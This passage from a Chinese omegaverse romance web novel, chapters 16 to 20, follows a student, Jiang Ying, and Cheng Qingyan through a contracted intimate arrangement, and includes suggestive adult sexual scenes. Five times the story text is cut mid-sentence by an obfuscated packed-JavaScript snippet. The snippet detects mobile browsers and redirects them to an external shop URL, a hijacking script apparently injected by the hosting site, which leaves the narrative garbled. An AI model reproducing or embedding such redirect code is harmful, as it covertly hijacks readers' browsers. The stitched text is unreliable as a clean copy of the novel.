信息素紊乱属于腺体基因缺陷,比较罕见,从病发开始就在走向生命的终点,最长的案例是病发后坚持了十五年。 她在最顶级医疗设备的维持下,已平安度过了十四年。 程卿言淡淡道:“在此期间,你可以和别人谈恋爱,我不会管,只要别让你女朋友知道我们的事情,闹到我跟前就行。” 姜映点头,鼠标指向“不能爱上程卿言”这项:”这里我有补充。” 程卿言眉梢轻挑:“你做不到?” “不是,”姜映老实道,“我得加一句,你也不能对我产生任何感情。” 不是爱情,是感情,包含了所有的爱恨情仇,她在承担责任的同时,得尽量保证生命安全。 程卿言轻蔑一哼,没想到小姑娘这么自信:“我觉得没必要,我自然不会爱慕你,你完全可以放心。” 姜映看着她,倔倔地不屈服。 程卿言随她了:“那你加。” 姜映手速飞快地打字上去,又指着时间,补充道:“合约结束后,我们不能再见面,即使恰巧见到了也不能有交流联系,您看行吗?” 程卿言瞥了眼她,莫名有一种对方怕她赖上她的感觉,简直荒谬:“你加。” 姜映笑了一下,继续:“日后若有新的补充条款出现,不能改变上述内容,这个我可以加上去吗?” “加。”对于她的不信任,程卿言有点不耐烦,“你想加什么,全写上去,不要问一条写一条。” “就是这些了。” “确定?” 姜映嗯了一声,程卿言将电脑递给守在车外的秦助理处理,对女生说:“稍等片刻。” “没事的,”姜映不觉得是在浪费时间,在这种事情上越慎重越好,她想了想,“您说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜映着急,着急眼尾就红了,一副被欺负蹂躏的样子看着她。 程卿言怕她哭,好心道:“逗你的,看你的时间是否紧张,急的话可以去附近的酒店,不急就去我的住所。” 其实学校附近的酒店遇到老师同学的几率更大,姜映想了想道:“如果您不介意,可以去我家,我家离学校不远。” 程卿言下巴微点,两人挨得太近,腺体在不舒服了:“那走吧,带路。” 16. 第 16 章 第十六章 姜映怔愣几秒,问道:“现在就得去?” 她此刻像没有复习就得参加期末考试的大学生,没有一点底气,从幼儿园上学开始,作为小学霸的她,从未有过这种感觉。 心跳很快,麻麻乱乱,似有千万股绳拧在一起,她绕不完解不开。 “你今晚不方面?”程卿言问她。 “没有,没有不方便,”姜映深呼吸,说了地址,程卿言让秦助理按照导航开了过去,几分钟的车程很短,在此期间没人说话,只有导航语音在播报。 程卿言有些不舒服,闭目养神。 姜映不安地捏着手腕上的红绳,给她一道题,她能很快从题干中找到突破点,在此事,她毫无头绪,思考着进行的步骤是什么。 事出突然,懊恼上次周青月邀请她看电影时她没看,根本不知道步骤。 姜映暗自提了口气。 船到桥头自然直,只要不是不懂装懂,她虚心求教,对方应该能体谅她。 多年前的老小区,楼栋虽旧,卫生做得很好,小区内没有人车分流,能开到所在楼栋旁边停下。 程卿言睁开眼,车窗下摇:“是这里吗?” “对。” “你住几楼?” “五楼左边户。”姜映伸手指方向。 程卿言点头,示意知道后,吩咐秦助理发车,原路返回。 姜映困惑地看着她:“不上去吗?” “上去干嘛,”程卿言也困惑,下一秒便福至心灵,眉梢轻挑戏谑,“看来你很迫不及待。” “不是,”姜映赶忙解释,“我没有迫不及待,你说要去我家,我才以为你要……” “我要什么?” 姜映不好意思说,偷情二字她都难以启齿,更别说其它混账话。 程卿言呵笑一声:“提前知道具体位置,要见面时我可以直接过去,或者你更想我每次来校门口接你?” 姜映在心里责骂自己污秽,以小黄人之心度君子之腹:“是我误会您了。” “无奈,你对我的误会挺多的,不差这一次。”程卿言缓缓说。 姜映惭愧,诚恳道歉。 程卿言问:“后天有时间吗?” 姜映脑海里检索着计划表:“八点过后能空出来,您是想在后天见面吗?” 程卿言嗯了一声。 “到时候我去找您,您不用过来。”姜映的家只是作为她实在忙不过来,但女人又需要见面时的备选项,非不要她不想带她进去。 程卿言没有异议:“安排人来接你?” “我坐地铁,”接近碚大校门,姜映犹豫片刻,在下车前道,“请您放心,我会在这两天里好好学习这方面的知识,不会让您失望。” 学习? 不就是咬腺体注入信息素吗,如此简单的事情,需要学什么,又不是没咬过,她不需花里胡哨的前戏。 程卿言严肃:“不许去学那些东西。” 姜映为难:“可是我……” “没有可是。”程卿言说一不二,揉了揉眉心不容反抗。 姜映没办法,只能听她的,回到宿舍坐下,看着桌面上一堆苹果愣了片刻,有些忧愁地叹气,不解女人为何不让她提前学习。 无论是alpha或是omega,在腺体进入发育期,学校每周都会安排生理课,姜映出生时做基因检测查出了腺体问题,天生标记无能,alpha的生理课对她而言是浪费时间的水课,她出示了医生开的证明,可以请假不用上,每次都去图书馆复习了。 因此,在这方面她很陌生。 程卿言知道她信息素无能,见面肯定不是让她提供信息素标记,只剩下身体的触碰。 触碰到何种尺度,她不得而知,她也记不得上次她做到何种地步。 姜映浑身热热的,喝了大半杯凉水,收拾好电脑和教材,去了图书馆。 约定见面的时间在后天,也就是周二。 这两天于姜映而言,过得既迅速又缓慢,迅速在她要做的事情实在是太多了,为了腾出见面的时间,她重新调整了学习安排,兼职和辩论赛的时间无法改动,忙得不可开交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904530|192365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,时间在枫叶飘零,秋风四起间飞快流逝。 缓慢在入睡前那几分钟,会紧张担忧即将要发生的事情,心里没底造成的慌张,但她答应了女人不能私下学习,她有契约精神,不喜欢说一套做一套。 睡不着,便打开名为“女主”的备忘录,继续补充和程卿言相处时应该注意的事项,提醒自己不能让对方生气,保护自身安全。 周二,下午六点。 姜映回宿舍洗澡换衣服,深秋天气干燥,给脸颊抹宝宝霜时考虑到一件事。 她不能产生信息素,身上不会出现任何alpha信息素的味道,对于omega而言,遇见喜欢的信息素味道是一件愉悦的事情,她已不能提供信息素了,是否该给自己喷点与信息素味道类似的香水。 她没有这类东西,挨着学校的商场里有专营店在卖。 忖度片刻,她认为可行。 姜映不知道程卿言喜欢什么味道,诚恳发短信问道:【程小姐您好,您喜欢什么味道的信息素?】 她没上过生理课,没交过女朋友,不看爱情小说恋爱剧,她不知道alpha问omega喜欢何种味道的信息素,等同于直接问omega喜欢穿什么款式的内衣裤,喜欢用何种味道的指|套。 属于比较暧昧的问题,热恋的情侣之间调情时才会问,否则就是耍流氓。 宝宝霜涂好了,衣服换好了,又写了半个小时的论文,晚上她不回宿舍,准备回家休息一晚,顺便看柚柚,打扫卫生添点新的日常用品,因此她得把电脑课本药物带上。 收拾好东西,出发前依旧没有得到回复。 难到没看见? 总不可能是故意不回。 姜映站在校门口,往右是地铁站,往左是能买香水的商场,她在程卿言的车里闻到过青竹味的香氛,由此推断,对方可能喜欢青竹味。 但她不能百分百确认,若是买错了就是浪费钱,让本就不富裕的她更加贫穷。 因此,她决定见到女人时当面问她喜欢哪种信息素味道,姜映背着书包右转,走向地铁站。 17. 第 17 章 第十七章 月泊林别墅区位于市中心,附近商业配套齐全,如果程卿言能在她到之前回复她,姜映还是会去商场买香水。 地铁人多,她没有座位,单手抓着扶手维持平衡,另一只手时不时点开短信看看,一直没得到回复。 约定见面的时间在八点,地铁要坐四十多分钟,路程过半,越接近目的地,姜映越紧张,有人进出,她换位置时视线不经意间下移,恰巧看见了坐着的人手机屏幕里放的是周青月追的那部尺度大的外国片。 要不悄悄看几眼? 或许能学到用得上的知识。 纠结片刻还是作罢,不礼貌,最重要的是程卿言说过不允许她看。 出了地铁站很快到了月泊林大门前,程卿言提前通知了安保人员,接驳车带她过去,姜映向驾驶员说了谢谢,尚未做好心理准备,转身时正好和在院子里训狗的程卿言对视上。 下一瞬,程卿言错开视线,继续训狗。 姜映捏着掌心,踏着千斤重的步伐走了进去,欲开口打招呼,但女人目前好像没有理她的打算,她抿了抿唇,看了眼时间,是她早到了十五分钟,安静地站在一旁等着,视线落在一人两狗上。 她记得它们的名字,萨摩耶在拉面,杜宾叫丸子,单看体型,萨摩耶更像丸子,杜宾像拉面,老一辈说命里缺什么就在名字里取什么吗,想到此处,姜映不由自主眉眼弯弯。 坐下趴下站立前进后退转圈,每一个指令都听得懂,女人夸它们时,尾巴像旋转的小风扇,很会撒娇卖萌。 是狗太聪明听话,还是女人太会训狗,姜映不禁好奇,看得认真。 这登徒女子在傻乐什么? 程卿言训狗时瞥了她,哼了一声,给拉面丸子下达了去后院休息的命令。 拉面丸子呜呜呜几声,以示回应,往后院跑时其实不会经过姜映,但不知是哪条狗的主意,像商量好似的,故意绕了几步,两只狗一起撒欢地朝着女生跑过去。 可爱归可爱,但不熟,姜映依旧害怕,僵在原定动不了,下意识向女人投去求助的目光。 拉面丸子喜欢靠近姜映,因为在主人身上闻到过姜映的味道,它们很聪明,能看得出女生有些怕,不知道能不能和这个人玩,跑过去后也没冒然行动,担忧被骂,也看向女人。 懵懂的alpha,圆润的萨摩耶,细长的杜宾,一人两狗并成一排站得端端正正,同款大眼睛长睫毛齐刷刷看着程卿言,神情一致等着她下指令。 程卿言有些想笑,瞥了女生一眼,她可没兴趣让人做她的第三条狗。 “你们现在去后院喝水休息,你,随我进屋。” “汪汪汪呜呜呜呜。” “好的。” 拉面丸子一步三回狗头,羡慕地看着姜映的背影,它们也想跟着主人,汪汪汪呜呜呜。 姜映只来过一次,没认真参观过,并不熟悉客厅的布局。 程卿言训狗时弄脏了手,要去浴室洗澡,但是——她回头:“还跟着我,要和我一起进去洗?” “啊?”姜映差点和她撞上,反应过来红了脸,“不是的,不好意思我刚才走神了。” 程卿言靠着门沿说:“你先去坐着休息会儿,我简单洗个澡,很快出来。” “好的,”姜映颤睫回应,瞧见女人快关门了,立马叫住她,捏了捏掌心问道,“程小姐,狗狗们会不会进屋?” 程卿言瞧着她怕兮兮的样子,双手环胸道,拉面丸子在这个点不会进屋,本来不想吓她,但是坏孩子得接受惩罚:“腿长它们身上,想进来就进来。” 姜映小声啊了一声:“好吧……” 程卿言明知故问:“害怕?” 姜映诚实:“有一点。” “为什么怕狗?” “小时候被不熟的狗咬过。” “所以不是怕狗,只是怕被咬?” “嗯。” “我是不是也得害怕?” 姜映不解看着女人:“嗯?” “等会儿你也得咬我,”程卿言眸光颤动,看了眼alpha瞬间红透的耳垂,“你说,该不该怕?” 话音落下,她关上了浴室门。 玉手挑起裙子腰带,轻轻掀起,衣物从肩膀滑落,拂过粉白的肩头,薄瘦的背脊,盈盈一握的腰肢,落于地砖。 程卿言瞧了瞧换下来的贴身衣物,呵了一声,小姑娘在她面前老实巴交,隔着网络尺度却大得很,居然敢问她喜欢什么味道的信息素。 登徒女子。 成何体统。 不成体统的姜映紧张地坐在沙发上,浴室里传来的流水声覆盖在她越跳越快的心跳上,她在想她女人说的话,还得抽出一份心神观察窗外,警惕拉面丸子突然跑进来。 女人说等会儿她咬她,为什么要咬,咬哪里? 姜映脸热热的,想起上次在酒店醒来看见的场景,女人后颈处处布着深浅不已的吮痕,这次也得弄出这些来吗,没有信息素依旧要咬腺体? 没有信息素注入咬下去,那得多疼,小时候她被狗咬了浅浅的印子出了血,疼了好几个小时。 姜映不想像坏狗一样咬人,可女人透露的意思已经很明确,她得咬,没有信息素也得咬,一周得来咬三次。 不想让她疼,姜映蜷了蜷指尖,打开书包从瓶子里倒了一颗强化剂在掌心,犹豫片刻仰头咽了下去。 强化剂只能为她提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904531|192365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体所需的基本信息素,根本不能让她产生信息素注入omega的体内,但她没有别的办法,吃了总比没吃强。 万一有用呢,心理作用也是一种作用。 她深呼一口气,愣愣地瞧着落地窗外挣着咬小熊玩偶的拉面丸子,精神高度集中,没没注意到身后的浴室门已经打开。 热气犹如云雾为omega渡上一层朦胧,润泽垂顺的秀发此刻用天青色玉簪子随意挽在脑后,几缕沾了水气的鬓发垂落在浅灰的真丝缎面睡袍上,程卿言刚走出浴室,神情一凝,后颈的腺体便猛得跳动几下,逐渐开始发热。 浓郁的青竹味嚣张地占领了整个客厅,察觉到她出来那刻,像小狗一般摇着尾巴奔涌而来,在她的发间,衣领,指间穿梭,见缝插针无孔不入,浓浓地将她围住。 试探逗弄一般蹭着她的腺体,樱桃味不受控地溢出,和青竹缠绕在一起。 女人深呼吸,掌心扶墙。 这人着实心急。 还没开始便擅自释放浓度那么高的信息素,若说她没有羞耻心,却动不动就脸红,一副害羞的模样。 这算什么? 外羞内烧的小烧a。 程卿言狠狠剜了眼她,深深呼了口气,在心里骂alpha的同时,不得不承认,尚未肢体接触,仅仅是浸泡在满是充斥着对方信息素的空间里,已经感觉到难以言喻的愉悦。 “姜映。” omega的音线在她的控制下依旧泠然悠扬,纤尘不染,只有她自己才知晓双腿软得多厉害,若她挪动一寸就能让人看出端倪。 姜映回头,立马起身看向她:“您洗好了。” 程卿言呼吸渐热,面颊如打翻的胭脂染了淡淡的粉,背脊借力倚着墙:“过来。” “好,好的。”姜映真的很紧张,小步子慢慢挪过去。 躲她时跑得飞快,走向她如同蜗牛,程卿言等得烦躁:“磨蹭什么,快点。” 三步变作一步,姜映站在她身旁,注意到她面色出现异样的红,关心道:“程小姐您怎么了?” 女人不应她,只是呵了一声。 姜映猜测:“是不是洗澡水开太热,缺氧了?” 故意的吗,真不懂还是假不懂,程卿言若不是难受得厉害没力气,真想抬手给她一下。 alpha讨厌起来,和拉面丸子调皮捣蛋时同样令人心烦,找抽。 距离很近,姜映能听见她的呼吸声越来越沉,看起来很严重,她担心出事:“您是否需要医生?” “抱我去沙发。” 程卿言快站不住了,双手勾着alpha的脖子,头埋过去挨着她的耳畔低声道。 “不要医生,要你。” 18. 第 18 章 第十八章 自幼沉稳安静,与亲人长辈之间也少有亲密的肢体接触,尤其在成年后,无论是长辈或是同龄人,亲密接触可以说是完全没有。 因此在omega双手勾着她的脖子,柔软细腻如暖玉的身体挨着她时,姜映瞬间红温,整个人愣愣的,不知如何是好。 耳畔是女人温热的吐息,女人咬着她的耳朵催促。 “你在等什么,抱我。” 咬得不重,微痛带痒的感觉让姜映浑身颤了颤,微曲腰抱起omega走向沙发:“然,然后呢?” 每一步都要她说的笨蛋,比拉面丸子笨很多。 程卿言闭了闭眼,脸颊蹭着她的脖子:“你坐沙发,我坐你腿上。” 姜映不知道自己为何那么热,热得她脑子如同报废的机器失去了思考的能力,按照女人的指令,说一步做一步。 不能这样,她清醒一点,别让对方生气。 咬了咬舌尖,痛意让她智商回来了些,主动中带着难为情的羞涩:“程小姐,现在咬吗?” “咬。” omega的身姿太过细腻柔软,好似轻轻一碰就会碎掉,姜映双手按在沙发上不敢碰她。 “手扶住我。”程卿言靠自己无法支撑。 下一瞬修长有力的手握着她的腰肢,掌心的滚烫隔着真丝睡袍传到她的腰腹上,浑身一颤。 “您的腰很柔软。” “闭嘴,”程卿言耳畔发热,“专心做事。” 姜映没经历过这种事,说夸人的话也很难为情,她只是感觉得说些什么,女人或许会开心,不然只能听见彼此重叠的呼吸声,心里更紧张。 目光落在女人细腻光洁,白里透红的后颈,她低头慢慢低头,呼吸洒落,靠近时挺翘冰凉的鼻梁先落在后颈上蹭了两下。 怀中的omega眉心颤动,喉间溢出低沉的闷哼。 姜映抬头问:“我是不是弄疼您了?” 程卿言呼口气,“你还没咬,我怎么疼?” “可是您刚才明明……” “不许问,继续。” 姜映再次垂眸,她无法闻见omega的信息素,不会被女人的信息素影响,可她心跳快到失控边缘,莫名的酥麻感从心底串出蔓延全身,颤抖的牙慢慢咬在了omega薄入蝉翼的后颈。 轻轻用牙齿磨了磨,再慢慢加重力道,怕太轻怕太重,如此弄了半分钟。 “姜映。” “咬错了,omega的腺体在脖子左边。” 女人无奈地提醒她。 姜映急忙道歉,alpha的腺体在后颈右侧,自然而然以为omega也是一样的位子,不好意思再耽搁,立马看向另一边。 腺体位于后颈皮下,肉眼看不出来,只有认真触碰时才能感觉到,青涩的alpha本就不放松,接二连三犯错让她更加紧张 姜映双唇微颤在后颈左侧附近一圈试着咬了好一会儿,急得眼尾泛红:“程小姐对不起,我找不到……” 程卿言难受到了极点,没功夫去思考她是不是故意折磨自己,直接牵住alpha的手按在她后颈的腺体上,声音沙哑。 “感受到了吗,她在跳。” “勇敢点,咬下去。” 一下一下由内向外,或轻或重地跳动着。 秋风吹得院里的竹也叶沙沙作响,青竹味随着牙尖刺破脖子表皮。 不懂循序渐进,直接汹涌的注入,蛮横的,又与樱桃分外融合,紧密缠绕在一起。 感受到女人颤得厉害,姜映以为重了不敢再咬,正想停下来,后脑勺一热,女人直接伸手按住她的头,让她别停。 …… omega此刻如盛满水的玉盆,外界的风吹草动都会让其溢出,秋风吹动竹叶,盆中水润了叶尖,波纹在涌入的信息素中不断颤动又归于平息。 “别弄皱我的衣服。” 缎面衣物易皱,程卿言爱穿,但不喜衣物皱巴巴,察觉到女生握着她腰肢的手越发用力,她呼吸灼热,不忘哑着声音提醒一句。 不用力就扶不住,姜映眼睫微颤,抬起女人的腿分别跪在柔软的沙发上,她一手抓住她的脚腕,一手扶着腰,女人脸颊靠着她肩膀,暂时任她摆弄,阖着眼好似在休息。 屋内逐渐安静。 应该算是结束了? 姜映拿不准,她也不清楚她咬她,除了痛之外能有何作用,可女人方才越发急促的呼吸声做不了假,为什么会这样? 她不解,她思考。 她眼睛一亮,有了定论,对方大概恋痛。 姜映想询问她的猜想是否正确,又觉得这些好像属于个人隐私,她若是问了,会不会冒犯到她,张了张嘴又闭上。 程卿言没有睡,只是体内纠缠融合的信息素过于弥足,得缓几息才能恢复,注意到alpha欲言又止的神情,慵懒道:“想说什么?” 姜映决定不问个人隐私了,她换了一个问题:“您喜欢什么味道的信息素?” 不忘问出这个问题,知道答案后,下次见面她能喷点她喜欢的味道。 程卿言:…… 姜映眼神干净地看着她:“是不是青竹味?” omega听到的意思——你是不是喜欢我的青竹味。 里里外外都被青竹味入侵的程卿言都为她感到害臊,伸手捂住alpha的眼睛:”别用这种眼神看着我,然后问我这种问题,记住了吗?” 她们不是能聊这种暧昧话题的关系。 不能问吗? 姜映卷翘的眼睫在她掌心扑闪着,哦了一声,既然不能问,她就不问,还能节省一笔钱。 程卿言收回手,从她怀里下来时腿|间的异样让她眉头蹙了两秒,几不可查,移动沙发上坐着:“能帮我接一杯热水吗?” 姜映应好,拿起杯子去接水,碰到饮水机时指尖忽然麻了一下,像漏电一般让她差点摔了杯子,手疾眼快拿住,困惑地看了饮水机一眼,再次碰上去时又没了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904532|192365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异常。 认识是静电,没过多在意,接好水后递给她:“您慢点喝,可能有点烫。” “谢谢。” 程卿言眉梢挑了挑,觉得她有进步,没想第一次敬奉天地神明那般端给她。 她喝水时,姜映注意到她的脖子,浅浅咬痕覆在上面,提醒她方才她做了些什么,脸又热了起来。 接下来几个月都会有这样的事情发生,这次她表现得很糟糕,女人应该不满意,她不能知错不改,得从失败中总结经验。 “程小姐。” “讲。” 姜映捏着掌心:“您能否说说您的感受?” 感受。 这是能说的吗? omega听到的意思——爽吗? “为何要说?”程卿言放下杯子,神色严肃。 姜映诚实道:“我觉得我表现得很糟糕,想听听你的建议,下次能改进。” 原来是这种感受,还以是…… 程卿言思忖片刻,咳了一声打算开口。 “您稍等,”姜映快速从书包里拿出签字笔和本子,一脸认真,“我得记下来。” 程卿言又有种当老师的怪异感了,并且是教这种事,但没阻止她:“咬的时候果断一点,别磨磨蹭蹭;我若是没说话,不要停下来问我各种问题;不要弄皱我的衣服,这次提醒你了,还是搞得皱巴巴的。” 姜映手速快,刷刷写在本子上:“还有吗?” 程卿言:“就这些。” 姜映眨眨眼,她真的只有这一点点问题吗,那她是不是表现得也不糟糕,还算可以? 程卿言是个讲理的人,既然对方会询问她感受事后总结,她也得礼尚往来:“你有需要我配合的地方吗?” 姜映想了想:“没有。” 程卿言嗯了一声,看了眼时间,九点十分,拉面丸子已经在门口眼巴巴地等着,想进来了。 该做的事都做了,姜映背上书包:“我先告辞了。” “我让司机送你,”程卿言看着她,“太晚了不安全,别拒绝行吗?” 姜映思考片刻,没再拒绝她的好意,出了客厅,在门口和拉面丸子碰到了,一人两狗对视几秒,她后知后觉,方才屋里发生的事情是不是被它们看到了啊。 瞬间不好意思和拉面丸子对视,捂着脸快速离开。 拉面丸子歪狗头看着她的背影:??? 司机已经在别墅区门口等候着,姜映上了车静静坐在后排,街景在窗外不断掠过,手按在心脏处,总觉得跳得还有些快。 手机振动一下,她回神,点看瞧见是程卿言发的短信。 程卿言:【你回去可以学习】 姜映困惑:【学习什么?】 程卿言:【以后我不想中途停下教学,自己学可以吗?】 【可以的】 【能学会吗?】 姜映满脸通红,打字的手都在抖:【我尽力而为,会好好学习,请您期待我下次的表现】 19. 第 19 章 第十九章 拉面丸子呜呜呜围着程卿言撒娇,它们在院子里有专属豪华狗窝,但它们习惯了每晚回客厅的狗窝睡觉,可以离主人近一点,小狗转圈好开心。 不过主人身上全是那位捂脸跑人类的味道,捂脸跑命真好,能和主人待这么久,拉面丸子好羡慕。 程卿言今夜有点疲倦,摸了摸它们的头,便让它们自己去睡了。 她看着手机上alpha的回复,愣了几秒,居然让她期待她下次的表现,片刻后哼笑一声。 看起来挺聪明的人,连位置都找不到,该说她单纯还是说她笨蛋。 难怪第一次在酒店时对方咬得乱七八糟的,临时标记进行到一半就中断了,原来是找不到。 居然会有alpha找不到? 还红着眼眸一副可怜巴巴的样子,让omega手把手带过去找,也不嫌丢人,程卿言真的没想过会出现这种荒谬的事情。 若是让旁人知道了,怕是要被嘲笑一辈子。 她不仅没当面笑她,甚至在事后都没提,是顾忌到年轻alpha的自尊心,若是被打击到了,日后不行了遭罪的人还是她。 之前不让姜映去学,是不想对方搞些花里胡哨的把戏,谁能想到连最基础的都不懂。 至于为何不故作不知道,要发短信提醒女生…… 程卿言她阖上眼眸靠着沙发,指尖抚了抚后颈,依旧轻轻颤抖着,可见alpha注入的信息素浓度以及数量是极其猛烈的,毫无收敛,横冲直撞不知道停下。 即使她信息素紊乱,需求高,差点也没承受住。 对方确实得学。 想到她那会儿的反应,程卿言揉了揉眉心,舒服归舒服,心里依旧生出失落寂寥感,甚至还有几分对自己厌恶。 不是针对姜映,也不是对身体接触的厌恶,她不是思想守旧的老古董,对于性和正常的欲望是坦诚直白的。 程卿言仅仅对自身因信息素紊乱而导致欲望失控的厌恶,浑身颤抖着如同发情一般不知羞耻地渴求更多,理智全失。 明明是向来不依附于人,内心孤傲的性子,却会露出如此姿态。 怎么说,程卿言觉得自己挺可笑的。 起身去了浴室,偌大的镜面映照出她精致无暇的面容,眼尾因情潮而染上的绯红如同桃花碾碎,为她添了一丝媚态,冷艳却不俗气。 重新洗了澡,脱衣服时她看向底裤上的那抹明显的痕迹,轻轻叹了口气。 姜映她,也会这样吗? 如若不然,她会不平衡。 回想姜映咬她时的状态,除了害羞到指尖颤抖,紧张得红了眼尾,在双方信息素交融时也没有露出丝毫痴迷动情之色。 过于正直,还是故作镇定? 程卿言可不想承认是她没魅力,讨人厌的坏东西。 * 姜映在家里住了一晚,小区旁边有二十四小时超市,她买了新的日用品,认真打扫了卫生,换了新坐垫,让家里看起来舒适很多。 没忘记再次检查电器,真的如修理师傅所言没有问题,那上次的频繁的电流声是怎么回事。 姜映不解,怀疑是小区线路的问题。 她去了趟隔壁李阿姨家,询问她家里是否出现过同样的情况。 “没有啊,”李阿姨认真想了想,“不过我也不是一整天都在家,响的时候我可能出门逛街打麻将了,咱这老小区电路老化异响也正常,你别疑神疑鬼的哦。” 也有道理,姜映嗯了一声。 陪李阿姨聊了会儿天,又和柚柚玩了会儿球,她起身道别了。 李阿姨送她到门口,忽然笑咪咪看着她,一副打听八卦的样子:“小姜你是不是谈女朋友了?” “嗯?”姜映看着她,“李阿姨您就别开我玩笑了,我不可能谈恋爱。” 李阿姨完全不行:“还害羞了是不是,你放心告诉我,我保证不传出去。” “真的没有骗您,我没有女朋友。” “小姜啊我虽然老花眼了,鼻子还是挺灵的,你一进门我就闻见了你身上omega信息素的味道,像宣誓主权一样黏在你身上,你可别说是地铁太挤弄出来的,我也年轻过,清楚是怎么回事。” omega信息素的味道? 和她近距离接触过的omega无疑是程卿言,姜映闻不见任何信息素,所以不知道她就这样带着一身味道到处走来走去…… 想到此处,她瞬间不好意思:“我…我…” 怎么羞成这样了。 张阿姨是过来人,知道现在的年轻人脸皮薄,不过姜映这孩子不爱说谎,说没谈肯定没谈,应该还在追求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16904533|192365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,处于暧昧阶段。 张阿姨不追问了,免得她难为情,笑着说:“没谈没谈,我相信你。” 回家关上防盗门。 姜映认真闻了闻身上,依旧闻不出omega的信息素是什么味道。 好在她今晚选择了回家,碰见的人比较少,若是去了学校,那真的太没礼貌了。 她红着脸去了浴室认真洗澡,挤了三次沐浴露,快把自己腌入味了,才放心很多。 打开台灯准备学习,不太静得下心,总是会去想今夜的事,明明只是单纯的咬,程卿言为何会释放出信息素? 恋痛一词再次浮现脑海,她从前借阅过与心理相关的书籍,在其中见过这个概念。 有这种爱好的人会因疼痛而产生愉悦,类似于标记做|爱的快感。 所以程卿言才会要求她咬她,想清楚了缘由,姜映的耳畔再次变红,感觉很奇怪。 好在对方只要求她咬脖子,不涉及其它部位。 对于咬人,她没有经验,不知道如何把握轻重,于是卷起衣服在胳膊的软肉上或轻或重地试了试,稍重一点,没用到咬女人的一半力度,已经很疼了。 腺体那处的肌肤比胳膊的软肉更细嫩脆弱。 程卿言得多疼? 在没有信息素注入的情况下,这种程度的疼真的能承受得住吗,姜映认为不能。 既然如此,女人为何不推开她,还将她按回去继续,她的目光缓缓落在了桌上的维生素瓶上,为了方便收纳,她每次都会将信息素强化剂放到里面。 难道真的有用? 若真如此,她每次见程卿言之前,都得额外吃一颗,一颗不够就两颗。 信息素强化剂很贵,她查了银行卡里的余额,期末考试过后就是寒假,她得再去找一份兼职挣钱,不然吃太多就负担不起了。 找兼职的事情没让她太苦恼,她目前最忧愁的事情是学习。 不是学课本上的知识,而是女人所说的学习,姜映揉了揉发热的脸,第一次对因为学习而感到压力很大,不知从何下手。 按照要求,一周得见三次,每次间隔差不多是两天,留给她的时间不多了。 手机响了一声打断了她的思绪,她拿起来看了眼,程卿言发的短信。 程卿言:【咬我的时候湿了吗姜映?】 20. 第 20 章 第二十章 深夜问她这个吗,这是何意? 在关心她吗? 姜映眨了眨眼,忽然觉得程卿言也没那么可怕,她在咬她的时候真的很紧张,对方肯定能察觉到,她不仅额头出了汗,后背也出了很多汗,贴身衣物的确被汗水浸湿了,湿得很厉害。 这会儿发短信问她,可能是在担心她会不会着凉。 姜映不习惯让别人担心,也不想说慌,回复道:【不严重,只湿了一点点】 短信发过去后,等了半分钟得到女人的回复:【嗯,睡吧】 姜映:【程小姐晚安】 对方关心了她,本着礼尚往来的原则,她本打算问问她湿了没有,提醒她注意身体别着凉了,但对方要休息了,姜映又将输入在消息框的文字删掉了,没有发过去。 她下次结束后当面问也是一样的。 显得更真诚。 手机快没电了,找来充电器充上电,她坐在沙发上思索片刻,红着脸在浏览器上输入了一些关于标记知识的关键词。 她虽不能分泌信息素标记omega,但女人要求她做的事情,在行为上和临时标记差不多,从这方面入手学习应该没错。 网页上跳出来很多链接,姜映没有多想直接点进去,屏幕上瞬间出现很多不雅的亲密行为,嗯嗯啊啊的声音传出来。 她惊慌失措,手忙脚乱按退出键,页面根本关不掉,最后按了关机键才消停。 屋里安静了,心却砰砰跳。 姜映喝了半杯凉水冷静片刻,她觉得她不行,也不想看这些羞人的东西,她和程卿言也不可能做到这种程度。 